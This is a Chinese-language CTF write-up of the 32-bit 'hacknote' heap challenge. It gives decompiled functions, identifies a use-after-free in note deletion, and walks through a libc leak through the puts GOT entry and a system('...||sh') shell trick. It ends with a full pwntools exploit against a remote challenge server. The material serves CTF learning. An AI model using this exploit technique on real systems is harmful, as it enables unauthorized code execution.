32位程序,未开PIE #use after free #system("xxxx||sh")
程序逻辑
1 void __cdecl __noreturn main() 2 { 3 int choice; // eax 4 char buf; // [esp+8h] [ebp-10h] 5 unsigned int v2; // [esp+Ch] [ebp-Ch] 6 7 v2 = __readgsdword(0x14u); 8 setvbuf(stdout, 0, 2, 0); 9 setvbuf(stdin, 0, 2, 0); 10 while ( 1 ) 11 { 12 while ( 1 ) 13 { 14 menu(); 15 read(0, &buf, 4u); 16 choice = atoi(&buf); 17 if ( choice != 2 ) 18 break; 19 delnote(); 20 } 21 if ( choice > 2 ) 22 { 23 if ( choice == 3 ) 24 { 25 printnote(); 26 } 27 else 28 { 29 if ( choice == 4 ) 30 exit(0); 31 LABEL_13: 32 puts("Invalid choice"); 33 } 34 } 35 else 36 { 37 if ( choice != 1 ) 38 goto LABEL_13; 39 addnote(); 40 } 41 } 42 }
addnote函数,最多创建5个note,先创建8字节的结构体,再申请size大小的内存存放内容
1 unsigned int addnote() 2 { 3 _DWORD *v0; // ebx 4 signed int i; // [esp+Ch] [ebp-1Ch] 5 int size; // [esp+10h] [ebp-18h] 6 char buf; // [esp+14h] [ebp-14h] 7 unsigned int v5; // [esp+1Ch] [ebp-Ch] 8 9 v5 = __readgsdword(0x14u); 10 if ( note_num <= 5 ) 11 { 12 for ( i = 0; i <= 4; ++i ) 13 { 14 if ( !ptr[i] ) 15 { 16 ptr[i] = malloc(8u); 17 if ( !ptr[i] ) 18 { 19 puts("Alloca Error"); 20 exit(-1); 21 } 22 *(_DWORD *)ptr[i] = print_content; 23 printf("Note size :"); 24 read(0, &buf, 8u); 25 size = atoi(&buf); 26 v0 = ptr[i]; 27 v0[1] = malloc(size); 28 if ( !*((_DWORD *)ptr[i] + 1) ) 29 { 30 puts("Alloca Error"); 31 exit(-1); 32 } 33 printf("Content :"); 34 read(0, *((void **)ptr[i] + 1), size); 35 puts("Success !"); 36 ++note_num; 37 return __readgsdword(0x14u) ^ v5; 38 } 39 } 40 } 41 else 42 { 43 puts("Full"); 44 } 45 return __readgsdword(0x14u) ^ v5; 46 }
结构体如下
1 00000000 note struc ; (sizeof=0x8, mappedto_5) 2 00000000 puts_function dd ? 3 00000004 content_ptr dd ? 4 00000008 note ends
在0x0804A050处存放有结构体指针数组
printnote函数 用结构体中的puts_function函数输出content_ptr中的内容
1 unsigned int printnote() 2 { 3 int v1; // [esp+4h] [ebp-14h] 4 char buf; // [esp+8h] [ebp-10h] 5 unsigned int v3; // [esp+Ch] [ebp-Ch] 6 7 v3 = __readgsdword(0x14u); 8 printf("Index :"); 9 read(0, &buf, 4u); 10 v1 = atoi(&buf); 11 if ( v1 < 0 || v1 >= note_num ) 12 { 13 puts("Out of bound!"); 14 _exit(0); 15 } 16 if ( ptr[v1] ) 17 (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]); 18 return __readgsdword(0x14u) ^ v3; 19 }
delnote函数 free后没有置NULL,use after free漏洞
1 unsigned int delnote() 2 { 3 int v1; // [esp+4h] [ebp-14h] 4 char buf; // [esp+8h] [ebp-10h] 5 unsigned int v3; // [esp+Ch] [ebp-Ch] 6 7 v3 = __readgsdword(0x14u); 8 printf("Index :"); 9 read(0, &buf, 4u); 10 v1 = atoi(&buf); 11 if ( v1 < 0 || v1 >= note_num ) 12 { 13 puts("Out of bound!"); 14 _exit(0); 15 } 16 if ( ptr[v1] ) 17 { 18 free(*((void **)ptr[v1] + 1)); 19 free(ptr[v1]); 20 puts("Success"); 21 } 22 return __readgsdword(0x14u) ^ v3; 23 }
利用思路
首先申请2个0x20的note,addnote(0x20,'aaaa') addnote(0x20,'aaaa')
然后删除 delnote(0) delnote(1)
此时0x8 fastbin中 idx1->idx0
再申请一个0x8大小的note ,结构体指针即为idx1 ,内容指针即为idx0
输入的内容即可覆盖idx0的puts_function和content_ptr两个指针
先分别覆盖为puts_funciton和puts_got ,然后printnote(0) 即可输出puts_adr,泄露libc基地址
然后再次delnote(2) 重新申请一个0x8大小的note,此时内容指针仍为idx0
再次覆盖为system_adr||sh
printnote(0)时即执行system(system_adr||sh)
这里有一个小技巧,linux终端中,执行如echo 1 || sh 只会输出1不会执行后面的sh
但如果执行如abcd || sh 时前面的命令执行不成功即会执行后面的sh
这里system_adr为无效命令,所以会执行sh,即成功了。
exploit
1 from pwn import * 2 #sh=process('./hacknote') 3 sh=remote('111.198.29.45',56030) 4 elf=ELF('./hacknote') 5 libc=ELF('./libc-2.23.so') 6 #libc=ELF('/lib/i386-linux-gnu/libc.so.6') 7 8 def addnote(size,content): 9 sh.recvuntil('Your choice :') 10 sh.sendline('1') 11 sh.recvuntil('Note size :') 12 sh.sendline(str(size)) 13 sh.recvuntil('Content :') 14 sh.send(content) 15 16 def printnote(idx): 17 sh.recvuntil('Your choice :') 18 sh.sendline('3') 19 sh.recvuntil('Index :') 20 sh.sendline(str(idx)) 21 22 def delnote(idx): 23 sh.recvuntil('Your choice :') 24 sh.sendline('2') 25 sh.recvuntil('Index :') 26 sh.sendline(str(idx)) 27 28 addnote(0x20,'aaaaaaaa') #idx0 29 addnote(0x20,'aaaaaaaa') #idx1 30 31 delnote(0) 32 delnote(1) 33 #idx1->idx0->NULL 34 puts_got=elf.got['puts'] 35 fun=0x0804862B 36 addnote(0x8,p32(fun)+p32(puts_got)) #idx2=idx1 idx2_content=ixd0 37 printnote(0) 38 puts_adr=u32(sh.recv(4)) 39 print 'puts_adr: '+hex(puts_adr) 40 libc_base=puts_adr-libc.symbols['puts'] 41 print 'libc_base: '+hex(libc_base) 42 system_adr=libc_base+libc.symbols['system'] 43 delnote(2) 44 payload=p32(system_adr)+'||sh' 45 addnote(0x8,payload) 46 printnote(0) 47 sh.interactive()